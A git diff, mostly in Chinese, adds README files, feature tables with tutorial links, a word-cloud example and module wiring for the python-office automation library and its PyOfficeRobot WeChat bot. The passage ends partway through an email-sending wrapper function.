+在经过技术检索和开发以后,支持所有微信使用的:PyOfficeRobot来啦~
+
+1、安装PyOfficeRobot
+1行命令,安装PyOfficeRobot这个库。安装视频
+
+pip install -i https://mirrors.aliyun.com/pypi/simple/ PyOfficeRobot -U
+2、功能演示
+⭐本机器人完全免费,全部功能的演示视频 + 项目源码:Github、gitee
+序号 方法名 功能 视频 文档 代码
+1 🔥项目发布 播放 待编辑 打开
+2 send_message 自动发消息 播放 待编辑 打开
+3 send_file 自动发文件 播放 待编辑 打开
+4 chat_by_keywords 根据关键词,自动回复 播放 待编辑 打开
+5 send_message_by_time ⌚定时自动发消息 播放 待编辑 打开
+6 自己加功能 播放 待编辑 打开
+7 ⭐独立使用 播放 待编辑 打开
+8 get_group_list 收集群信息 播放 有BUG,待修复 打开
+9 发消息如何换行? 播放 待编辑 打开
+10 chat_by_gpt 微信 + ChatGPT 播放 待编辑 打开
+11 add 批量加好友 播放 有BUG,待修复 打开
+12 send 批量群发 播放 待编辑 打开
+13 chat_robot 智能聊天 播放 待编辑 打开
+持续更新中,交流群:点我加入
+
+微信机器人-其它实现方式
+功能说明 视频 代码
+机器人.exe 点我直达
+ChatGPT版本 点我直达 点我直达
+⌚wxpy-24小时,后台运行 点我直达 点我直达
+企业微信机器人 点我直达
+3、功能Demo
+我最近开源了这个库的全部源代码,功能正在开发中,欢迎大家参与开发~
+
+演示代码
+4、开发者
+昵称 贡献 时间
+雷杰 解决了微信更新后,不能发送消息和文件的问题 2023/7/6 00:30
+
+
+⭐Star
+Stargazers over time
+
+📕拓展资料
+
+
+
+
+
+
+
+
diff --git "a/examples/pydatav/\346\225\260\346\215\256\345\217\257\350\247\206\345\214\226-\346\226\207\347\253\240\350\275\254\345\233\276\344\272\221.py" "b/examples/pydatav/\346\225\260\346\215\256\345\217\257\350\247\206\345\214\226-\346\226\207\347\253\240\350\275\254\345\233\276\344\272\221.py"
new file mode 100644
index 0000000..2079a8f
--- /dev/null
+++ "b/examples/pydatav/\346\225\260\346\215\256\345\217\257\350\247\206\345\214\226-\346\226\207\347\253\240\350\275\254\345\233\276\344\272\221.py"
@@ -0,0 +1,15 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/8/9 23:25
+@本段代码的视频说明 :
+'''
+import pydatav
+
+if __name__ == '__main__':
+ filename = r'.\txt2wordcloud\test.txt'
+ color = 'black'
+ result_file = r'.\txt2wordcloud\res.jpg'
+ pydatav.image.txt2wordcloud(filename, color, result_file)
diff --git a/examples/readme.md b/examples/readme.md
new file mode 100644
index 0000000..0fa19c1
--- /dev/null
+++ b/examples/readme.md
@@ -0,0 +1,336 @@
+## 视频教程
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+以下[绿色](https://mp.weixin.qq.com/s/-mlsV7PFc27JElOTCskMsg)文字,均可点击直达👇持续更新中🚀
+
+## 0、下载和安装
+
+| 序号 | 功能 | 视频 | 下载地址 |
+|----|------------|---------------------------------------------------|-----------------------------------------------------------|
+| 1 | ❤项目发布 | [播放](https://www.bilibili.com/video/BV1pT4y1k7FH) | [Python官网](https://pypi.org/project/python-office/) |
+| 2 | 安装python环境 | [播放](https://www.bilibili.com/video/BV1Q44y1u7rV) | [下载软件](https://mp.weixin.qq.com/s/ktmQafdstwep_A5vae_Ymw) |
+
+## 1、Word + 自动化办公 = poword
+
+| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 |
+ |----|-------------------|---------------|---------------------------------------------------|---------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------|
+| 1 | merge4docx | 合并Word文档 | [播放](https://www.bilibili.com/video/BV1Vo4y1q7i3) | [查看](https://mp.weixin.qq.com/s/PjQJ3s4Arr872NDfcr-7YA) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poword/%E5%90%88%E5%B9%B6word.py) |
+| 2 | docx2doc/doc2docx | doc和docx,互相转换 | [播放](https://www.bilibili.com/video/BV1so4y1H7rj) | [查看](https://mp.weixin.qq.com/s/nyg_LlkHPwx1AY7wCg5KTw) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poword/doc%E5%92%8Cdocx%E4%BA%92%E8%BD%AC.py) |
+| 3 | docx2pdf | word 转 pdf | [播放](https://www.bilibili.com/video/BV1pT4y1k7FH) | [查看](https://mp.weixin.qq.com/s/Kfmu8vCSr6otGfrf7mj0bA) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poword/word%E8%BD%ACPDF.py) |
+
+## 2、Excel + 自动化办公 = poexcel
+
+| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 |
+|----|-----------------------|---------------------------------|---------------------------------------------------|-----------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| 1 | fake2excel | 批量生成Excel数据 | [播放](https://www.bilibili.com/video/BV1wr4y1b7uk) | [查看]([待编辑](https://mp.weixin.qq.com/s/xVwEjXu58WovgSi4ZTtVQw)) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/%E6%89%B9%E9%87%8F%E6%A8%A1%E6%8B%9F%E6%95%B0%E6%8D%AE.py) |
+| 2 | merge2excel | 合并多个Excel到一个Excel的不同sheet中 | [播放](https://www.bilibili.com/video/BV1714y147Ao) | [查看](https://mp.weixin.qq.com/s/3ZhZZfGlpNhszCWnOBeklg) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/%E5%90%88%E5%B9%B6%E5%A4%9A%E4%B8%AAExcel%E5%88%B0%E4%B8%80%E4%B8%AAExcel%E7%9A%84%E4%B8%8D%E5%90%8Csheet%E4%B8%AD.py) |
+| 3 | sheet2excel | 同一个excel里的不同sheet,拆分为不同的excel文件 | [播放](https://www.bilibili.com/video/BV1714y147Ao) | [查看](https://mp.weixin.qq.com/s/dAx6JEbj5OlVnCcxokCzTQ) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/%E5%90%8C%E4%B8%80%E4%B8%AAexcel%E9%87%8C%E7%9A%84%E4%B8%8D%E5%90%8Csheet%EF%BC%8C%E6%8B%86%E5%88%86%E4%B8%BA%E4%B8%8D%E5%90%8C%E7%9A%84excel%E6%96%87%E4%BB%B6.py) |
+| 4 | find_excel_data | 根据内容查询Excel | [播放](https://www.bilibili.com/video/BV1Bd4y1B7yr) | [查看](https://mp.weixin.qq.com/s/NAfh6ooO_9haALMsF8Jf5w) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/%E6%A0%B9%E6%8D%AE%E5%86%85%E5%AE%B9%EF%BC%8C%E6%9F%A5%E8%AF%A2Excel.py) |
+| 5 | excel2pdf | Excel转PDF | [播放](https://www.bilibili.com/video/BV1A84y1N7or) | [查看](https://mp.weixin.qq.com/s/9cobekrIrR7BnUzfepv6Tg) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/Excel%E8%BD%ACPDF.py) |
+| 6 | query4excel | 把100个Excel中符合条件的数据,汇总到1个Excel里 | [播放](https://www.bilibili.com/video/BV1Hs4y1S7TT) | [查看](https://mp.weixin.qq.com/s/TmglyiAILV5k6Een6EnqtA) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/%E6%8A%8A100%E4%B8%AAExcel%E4%B8%AD%E7%AC%A6%E5%90%88%E6%9D%A1%E4%BB%B6%E7%9A%84%E6%95%B0%E6%8D%AE%EF%BC%8C%E6%B1%87%E6%80%BB%E5%88%B01%E4%B8%AAExcel%E9%87%8C.py) |
+| 7 | count4page | 统计Excel打印出来有多少页 | 待录制 | [查看](https://blog.csdn.net/weixin_42321517/article/details/131218163) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/%E7%BB%9F%E8%AE%A1Excel%E6%89%93%E5%8D%B0%E5%87%BA%E6%9D%A5%E6%9C%89%E5%A4%9A%E5%B0%91%E9%A1%B5.py) |
+| 8 | merge2sheet | 多个sheet,根据指定的列,合并成1个 | 待录制 | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/合并2个Excel的内容到一个sheet中.py) |
+| 9 | split_excel_by_column | 根据指定的列,拆分Excel到不同的sheet | 待录制 | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/根据指定的列,拆分excel.py) |
+
+## 3、PDF + 自动化办公 = popdf
+
+| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 |
+|----|---------------|--------------|------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------|
+| 1 | add_watermark | PDF加水印 | [播放](https://www.bilibili.com/video/BV1Se411T7au) | [查看](https://mp.weixin.qq.com/s?__biz=MzI2Nzg5MjgyNg==&mid=2247496501&idx=1&sn=1c2c8f2590ea355f82e24336a0a0aae0&scene=21#wechat_redirect) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/popdf/PDF%E5%8A%A0%E6%B0%B4%E5%8D%B0.py) |
+| 2 | txt2pdf | TXT转PDF | 待录制 | [查看](https://mp.weixin.qq.com/s?__biz=MzI2Nzg5MjgyNg==&mid=2247496561&idx=1&sn=843d9c491177d9558c11897ca7c4c221&scene=21#wechat_redirect) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/popdf/TXT%E8%BD%ACPDF.py) |
+| 3 | encrypt4pdf | PDF加密 | 待录制 | [查看](https://blog.csdn.net/weixin_42321517/article/details/129963432) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/popdf/PDF%E5%8A%A0%E5%AF%86.py) |
+| 4 | decrypt4pdf | PDF解密 | 待录制 | [查看](https://mp.weixin.qq.com/s?__biz=MzI2Nzg5MjgyNg==&mid=2247496561&idx=1&sn=843d9c491177d9558c11897ca7c4c221&scene=21#wechat_redirect) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/popdf/PDF%E8%A7%A3%E5%AF%86.py) |
+| 5 | merge2pdf | 合并PDF | 待录制 | [查看](https://mp.weixin.qq.com/s?__biz=MzI2Nzg5MjgyNg==&mid=2247496589&idx=2&sn=2519406d2afc795e7a2f346659f87cb7&scene=21#wechat_redirect) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/popdf/%E5%90%88%E5%B9%B6PDF.py) |
+| 6 | pdf2docx | 💻PDF 转 Word | 💻 [播放](https://www.bilibili.com/video/BV19D4y1i7Eu) | [查看](https://mp.weixin.qq.com/s?__biz=MzUzNTc5NjA4NQ==&mid=2247493574&idx=1&sn=8d7b6dbe12330e67a3dd06085aa65cac&scene=21#wechat_redirect) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/popdf/pdf%E8%BD%ACword.py) |
+| 7 | pdf2imgs | PDF 转 图片 | 💻待录制 | [查看](https://mp.weixin.qq.com/s/s3oi0jNOpolT7lLQEjCNTw) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/popdf/pdf%E8%BD%AC%E5%9B%BE%E7%89%87.py) |
+
+## 4、PPT + 自动化办公 = poppt
+
+| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 |
+|----|-----------|---------|----------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------|
+| 1 | ppt2pdf | PPT转PDF | [播放](https://www.bilibili.com/video/BV17Y411c792) | [查看](https://mp.weixin.qq.com/s?__biz=Mzg3MDU3OTgxMg==&mid=2247490934&idx=1&sn=0634b8342b1fe693ae5b4f72187509e6&scene=21#wechat_redirect) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poppt/ppt2pdf.py) |
+| 2 | ppt2img | PPT转图片 | [播放](https://www.bilibili.com/video/BV1pu411Y7zz/) | [查看](https://mp.weixin.qq.com/s/mrx85Tf8WB9u76Mht2nUxA) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poppt/ppt2img.py) |
+| 3 | merge4ppt | 合并PPT | 待录制 | [查看](https://mp.weixin.qq.com/s/FZOcvCJLsZlAbYhySZyQMQ) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poppt/merge4ppt.py) |
+
+## 5、文件 + 自动化办公 = pofile
+
+| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 |
+|----|-------------------|-----------|---------------------------------------------------|---------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| 1 | replace4filename | 批量重命名 | [播放](https://www.bilibili.com/video/BV12r4y187Yj) | [查看](https://mp.weixin.qq.com/s/3osIQAW4y3Ody-fwxEcCWA) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pofile/%E6%89%B9%E9%87%8F%E9%87%8D%E5%91%BD%E5%90%8D.py) |
+| 2 | search_by_content | 根据内容,查找文件 | [播放](https://www.bilibili.com/video/BV13P411n77G) | [查看](https://mp.weixin.qq.com/s/rvU7O3zHJ-YEd2YU0Z4pew) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pofile/%E6%A0%B9%E6%8D%AE%E5%86%85%E5%AE%B9%EF%BC%8C%E6%9F%A5%E6%89%BE%E6%96%87%E4%BB%B6.py) |
+| 3 | group_by_name | 自动整理文件 | 待录制 | [查看](https://mp.weixin.qq.com/s/AVFttFz-IjZD1Ra3K-580A) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pofile/%E8%87%AA%E5%8A%A8%E6%95%B4%E7%90%86%E6%96%87%E4%BB%B6%E5%A4%B9.py) |
+| 4 | get_files | 获取文件列表 | [播放](https://www.bilibili.com/video/BV1ua4y1M7ya) | [查看](https://mp.weixin.qq.com/s/-8BKJCQEZ8E0UJlrIyAbaQ) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pofile/%E6%89%B9%E9%87%8F%E8%8E%B7%E5%8F%96%E6%96%87%E4%BB%B6%E5%88%97%E8%A1%A8.py) |
+| 5 | mkdir | 新建文件夹 | 待录制 | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pofile/%E6%96%B0%E5%BB%BA%E6%96%87%E4%BB%B6%E5%A4%B9.py) |
+| 6 | check_suffix | 验证文件名的后缀 | 待录制 | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pofile/%E6%A3%80%E6%9F%A5%E5%90%8E%E7%BC%80%E5%90%8D.py) |
+
+## 6、图片 + 自动化办公 = poimage
+
+| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 |
+|----|----------------|---------------|------------------------------------------------------|---------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| 1 | add_watermark | 👩给图片 加 水印 | 👩 [播放](https://www.bilibili.com/video/BV1jT411T7n9) | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poimage/%E5%9B%BE%E7%89%87%E5%8A%A0%E6%B0%B4%E5%8D%B0.py) |
+| 2 | down4img | 下载图片 | [播放](https://www.bilibili.com/video/BV1i8411s7Mq) | [查看](https://mp.weixin.qq.com/s/H9NVBxwo_po8WsqsIRJ7YQ) | [打开](https://github.com/CoderWanFeng/python-office/tree/master/demo/poimage/下载图片.py) |
+| 3 | del_watermark | 图片去水印 | 待录制 | [查看](https://mp.weixin.qq.com/s/6RS0oo6dNa3mov_5XwNurg) | [打开](https://github.com/CoderWanFeng/python-office/tree/master/demo/poimage/图片去水印.py) |
+| 4 | txt2wordcloud | 根据文档内容,生成词云图片 | [播放](https://www.bilibili.com/video/BV1Me4y1h7Ku) | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pydatav/%E6%95%B0%E6%8D%AE%E5%8F%AF%E8%A7%86%E5%8C%96-%E6%96%87%E7%AB%A0%E8%BD%AC%E5%9B%BE%E4%BA%91.py) |
+| 4 | compress_image | 压缩图片 | 待录制 | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pydatav/%E6%95%B0%E6%8D%AE%E5%8F%AF%E8%A7%86%E5%8C%96-%E6%96%87%E7%AB%A0%E8%BD%AC%E5%9B%BE%E4%BA%91.py) |
+| 4 | image2gif | 图片转Gif | 待录制 | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pydatav/%E6%95%B0%E6%8D%AE%E5%8F%AF%E8%A7%86%E5%8C%96-%E6%96%87%E7%AB%A0%E8%BD%AC%E5%9B%BE%E4%BA%91.py) |
+
+## 7、文字识别 + 自动化办公 = poocr
+
+> [全部100+功能的说明](https://mp.weixin.qq.com/s/WxICBZZSgkm-OrvXB82hbg)
+
+| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 |
+|----|-----------------|-------|------------------------------------------------------|---------------------------------------------------------|------|
+| 1 | VatInvoiceOCR | 识别发票 | ⭐ [播放](https://www.bilibili.com/video/BV1Y3411R7q7/) | [查看](https://mp.weixin.qq.com/s/5v49ARX6R2C5xmYe6o8euQ) | 待开发 |
+| 2 | IDCardOCR | 识别身份证 | ⭐ [播放](https://www.bilibili.com/video/BV133411d7XF) | [查看](https://mp.weixin.qq.com/s/4PNhYZ1k2au5XoZOBdUM6A) | 待开发 |
+| 3 | BankCardOCR | 识别银行卡 | ⭐ [播放](https://www.bilibili.com/video/BV1QY4y1o7qc) | [查看](https://mp.weixin.qq.com/s/QQ1cepAISH0PKWfc5v6G6w) | 待开发 |
+| 4 | LicensePlateOCR | 识别车牌 | | [查看](https://mp.weixin.qq.com/s/owXyC5DjbOwrcHpTGjMbJA) | 待开发 |
+
+## 8、便捷工具 + 自动化办公 = wftools
+
+| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 |
+|----|----------------|-----------|------------------------------------------------------|---------------------------------------------------------|------|
+| 1 | transtools | 翻译万国语言 | ⭐ [播放](https://www.bilibili.com/video/BV1Y3411R7q7/) | 待编辑 | 待开发 |
+| 2 | qrcodetools | 解析二维码图片信息 | ⭐ [播放](https://www.bilibili.com/video/BV133411d7XF) | 待编辑 | 待开发 |
+| 3 | passwordtools | 密码生成器 | ⭐ [播放](https://www.bilibili.com/video/BV1QY4y1o7qc) | 待编辑 | 待开发 |
+| 4 | weather | 天气查询 | 待录制 | [查看](https://mp.weixin.qq.com/s/NVn8NNtOS3AfOyl75JTaNg) | 待开发 |
+| 5 | net_speed_test | 测网速 | 待录制 | 待编辑 | 待开发 |
+| 6 | url2ip | 获取ip地址 | 待录制 | 待编辑 | 待开发 |
+| 7 | lottery8ticket | 生成彩票号码 | 待录制 | [查看](https://mp.weixin.qq.com/s/Q6JgW06hMUSik0DqGD0rOA) | 待开发 |
+| 8 | create_article | 自动写文章 | 待录制 | [查看](https://mp.weixin.qq.com/s/guBtZHyUyybGNOqzZke1kQ) | 待开发 |
+| 9 | pwd4wifi | 破解wifi密码 | 待录制 | [查看](https://mp.weixin.qq.com/s/Pw_zZ1Vo9CxYzwRv3ByUJA) | 待开发 |
+
+## 9、视频 + 自动化办公 = povideo
+
+| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 |
+|----|-----------|----------|-----|-----------------------------------------------------------|------|
+| 1 | video2mp3 | 从视频里提取音频 | 待录制 | [查看](https://mp.weixin.qq.com/s/cT8lcUwd3UayTfLGddjfJw) | 待开发 |
+| 2 | audio2txt | 音频转文字 | 待录制 | [查看](https://cloud.tencent.com/developer/article/2128601) | 待开发 |
+
+## 10、代码开发 + 自动化办公 = pocode、potime、poprogress
+
+| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 |
+|----|-----|------------|-----|---------------------------------------------------------|------|
+| 1 | | 统计代码行数 | 待录制 | [查看](https://mp.weixin.qq.com/s/lOZ4X_s_2n5kTDzk1TEmTQ) | 待开发 |
+| 2 | | 计算程序运行时间 | 待录制 | [查看](https://mp.weixin.qq.com/s/SnIdBf11QTad8sWOTSJbWQ) | 待开发 |
+| 3 | | 显示程序执行的进度条 | 待录制 | [查看](https://mp.weixin.qq.com/s/4sIP0kfpsP-EFpkyn_wphw) | 待开发 |
+
+## 11、金融 + 自动化办公 = pofinance
+
+| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 |
+|----|-----|------|-----|---------------------------------------------------------|------|
+| 1 | | 单次做T | 待录制 | [查看](https://mp.weixin.qq.com/s/Rxl0JQKzBVyULm2qLm23Uw) | 待开发 |
+| 2 | | 批量做T | 待录制 | [查看](https://mp.weixin.qq.com/s/tLH9Bc4vgr8A35vj6rWNXQ) | 待开发 |
+
+## 12、AI + 自动化办公
+
+| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 |
+|----|-------------|-----------|---------------------------------------------------|---------------------------------------------------------|------|
+| 1 | pencil4img | AI画素描 | [播放](https://www.bilibili.com/video/BV1rP411N7ao) | [查看](https://mp.weixin.qq.com/s/h-3oL7wFE84P6-BwJqR2tg) | 待开发 |
+| 2 | | 还原黑白照片的颜色 | 待录制 | [查看](https://mp.weixin.qq.com/s/fJLtyTCWBU767xieRTohIQ) | 待开发 |
+| 2 | img2Cartoon | 生成动漫头像 | 待录制 | 待编辑 | 待开发 |
+
+## 13、中文编程 + 自动化办公 = pohan
+
+| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 |
+|----|------------|-------|---------------------------------------------------|---------------------------------------------------------|------|
+| 1 | han2pinyin | 汉字转拼音 | [播放](https://www.bilibili.com/video/BV1gj411S7Eq) | [查看](https://mp.weixin.qq.com/s/BYUhroZ5lp18czy5GOYFQg) | 待开发 |
+| 2 | | 重庆话编程 | [播放](https://www.bilibili.com/video/BV1sk4y1Y7wn) | [查看](https://mp.weixin.qq.com/s/X7tYuuA_43p0l7yBWPvi5A) | 待开发 |
+
+## 14、微信机器人-PyOfficeRobot
+
+- ⭐本机器人完全免费,全部功能的演示视频 +
+ 项目源码:[Github](https://gitee.com/CoderWanFeng/PyOfficeRobot/demo)、[gitee](https://gitee.com/CoderWanFeng/PyOfficeRobot)
+
+| 序号 | 方法名 | 功能 | 视频 | 文档 | 代码 |
+|----|----------------------|--------------|----------------------------------------------------|----------|----------------------------------------------------------------------------------------------------------------------------------------------------------|
+| 1 | | 🔥项目发布 | [播放](https://www.bilibili.com/video/BV1S84y1m7xd/?p=2) | 待编辑 | [打开](https://mp.weixin.qq.com/s/6slx8hyv_WuK7v5Nzt3XKQ) |
+| 2 | send_message | 自动发消息 | [播放](https://www.bilibili.com/video/BV1Jt4y1j7F1) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/001-%E5%8F%91%E4%B8%80%E6%9D%A1%E4%BF%A1%E6%81%AF.py) |
+| 3 | send_file | 自动发文件 | [播放](https://www.bilibili.com/video/BV1te4y1y7Ro) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/002-%E5%8F%91%E6%96%87%E4%BB%B6.py) |
+| 4 | chat_by_keywords | 根据关键词,自动回复 | [播放](https://www.bilibili.com/video/BV1fV4y1M7ju) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/003-%E6%A0%B9%E6%8D%AE%E5%85%B3%E9%94%AE%E8%AF%8D%E5%9B%9E%E5%A4%8D.py) |
+| 5 | send_message_by_time | ⌚定时自动发消息 | [播放](https://www.bilibili.com/video/BV1m8411b7LZ/) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/004-%E5%AE%9A%E6%97%B6%E5%8F%91%E9%80%81.py) |
+| 6 | | 自己加功能 | [播放](https://www.bilibili.com/video/BV14R4y127h6) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/005-%E8%87%AA%E5%AE%9A%E4%B9%89%E5%8A%9F%E8%83%BD.py) |
+| 7 | | ⭐独立使用 | [播放](https://www.bilibili.com/video/BV1SY411y7Uh) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/006-%E7%8B%AC%E7%AB%8B%E7%89%88%E6%9C%AC.py) |
+| 8 | get_group_list | 收集群信息 | [播放](https://www.bilibili.com/video/BV1eD4y1g7yZ) | 有BUG,待修复 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/007-%E6%94%B6%E9%9B%86%E7%BE%A4%E6%B6%88%E6%81%AF.py) |
+| 9 | | 发消息如何换行? | [播放](https://www.bilibili.com/video/BV1Xg4y1s79z/) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/008-%E5%8F%91%E6%B6%88%E6%81%AF%E6%8D%A2%E8%A1%8C.py) |
+| 10 | chat_by_gpt | 微信 + ChatGPT | [播放](https://www.bilibili.com/video/BV1394y1e787) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/011-chat_chatgpt.py) |
+| 11 | add | 批量加好友 | [播放](https://www.bilibili.com/video/BV1DV4y1o7t2) | 有BUG,待修复 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/009-%E6%89%B9%E9%87%8F%E5%8A%A0%E5%A5%BD%E5%8F%8B.py) |
+| 12 | send | 批量群发 | [播放](https://www.bilibili.com/video/BV1Nm4y1C7N7) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/010-%E5%AE%9A%E6%97%B6%E7%BE%A4%E5%8F%91.py) |
+| 13 | chat_robot | 智能聊天 | [播放](https://www.bilibili.com/video/BV1394y1e787) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/012%E3%80%81%E6%99%BA%E8%83%BD%E8%81%8A%E5%A4%A9.py) |
+
+
+
+
+
+
+
+## 文字教程
+
+全部功能的文字教程👉[传送门](https://www.python-office.com/guide/allFunc.html)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+## 良心建议
+
+你好,这里是程序员晚枫,人到中年,才转行程序员。
+
+业余时间做编程博主,同时运营python-office这个python的功能库,以下是一些生活VLOG和读者经常问我的一些问题。
+
+💻我录制成了视频的形式,大家看看吧~
+
+### 生活VLOG
+
+
+
+
+
+
+
+### 转行咨询
+
+- [如何免费学编程?如何避免被割韭菜?](https://www.bilibili.com/video/BV1SM411K7wm)
+
+- [3大措施,整治程序员高薪现象!大快人心](https://www.bilibili.com/video/BV1sd4y1c7T9)
+
+- [学会编程,能拿高薪?别再被洗脑了](https://www.bilibili.com/video/BV19d4y197EP)
+
+- [少儿编程,有必要学吗?程序员被问懵了](https://mbd.baidu.com/newspage/data/videolanding?nid=sv_5531201104035387002&sourceFrom=homepage)
+
+- [学编程、学Python接单?别再被割韭菜了!](https://www.xiaohongshu.com/discovery/item/63305311000000001701c8a9)
+
+- [30岁转行程序员,我的转行经历](https://www.bilibili.com/video/BV1Nr4y1B76X?spm_id_from=333.999.0.0)
+
+- [Excel还是Python?别被割韭菜,高效办公选一个就够了!](https://mp.weixin.qq.com/s/rMsMpSdQHqS3Q9eSsA0VeA)
+
+## 交流群
+
+
+
+
+
+
+
+## 学习资源
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/office/__init__.py b/office/__init__.py
index 6474f35..9df7f52 100644
--- a/office/__init__.py
+++ b/office/__init__.py
@@ -1,8 +1,20 @@
-from . import word
-from . import pdf
-from . import image
-from . import file
-from . import video
-from . import tools
-from . import ppt
-from . import excel
+from office.api import email
+from office.api import excel
+from office.api import file
+from office.api import finance
+from office.api import image
+from office.api import pdf
+from office.api import ppt
+from office.api import tools
+from office.api import video
+from office.api import wechat
+from office.api import word
+from office.api import markdown
+# 以下是beta版本
+from office.api.testApi import ruiming
+
+__doc__ = """【python-office库】,功能持续更新中
+使用有问题 or 提交你的功能需求 or 参与项目开发
+1、项目【官方文档】:https://www.python-office.com
+2、请+【项目交流群】:http://www.python4office.cn/wechat-group
+3、本开源项目的【源代码】:https://github.com/CoderWanFeng/python-office"""
diff --git a/office/api/__init__.py b/office/api/__init__.py
new file mode 100644
index 0000000..b6e690f
--- /dev/null
+++ b/office/api/__init__.py
@@ -0,0 +1 @@
+from . import *
diff --git a/office/api/email.py b/office/api/email.py
new file mode 100644
index 0000000..c717e7a
--- /dev/null
+++ b/office/api/email.py
@@ -0,0 +1,48 @@
+#!/usr/bin/env python
+# -*- coding:utf-8 -*-
+#############################################
+# File Name: email-1.py
+# Mail: 1957875073@qq.com
+# Created Time: 2022-4-25 10:17:34
+# Description: 有关 email 的自动化操作
+#############################################
+import poemail
+from poemail.lib.Const import Mail_Type
+
+
+def send_email(key, msg_from, msg_to, msg_cc=None, attach_files=[], msg_subject='', content='', host=Mail_Type['qq'],
+ port=465):
+ """
+ 发送邮件函数
+
+ 参数:
+ key (str): 邮箱账户密钥
+ msg_from (str): 发件人邮箱地址
+ msg_to (str): 收件人邮箱地址
+ file_path (str, 可选): 邮件附件路径,默认为None
+ msg_subject (str, 可选): 邮件主题,默认为空字符串
+ content (str, 可选): 邮件内容,默认为空字符串
+ host (str, 可选): 邮箱服务器地址,默认为'qq'
+ port (int, 可选): 邮箱服务器端口号,默认为465
+
+ 返回:
+ 无
+
+ """
+ poemail.send.send_email(key=key,
+ msg_from=msg_from,
+ msg_to=msg_to,
+ msg_cc=msg_cc,
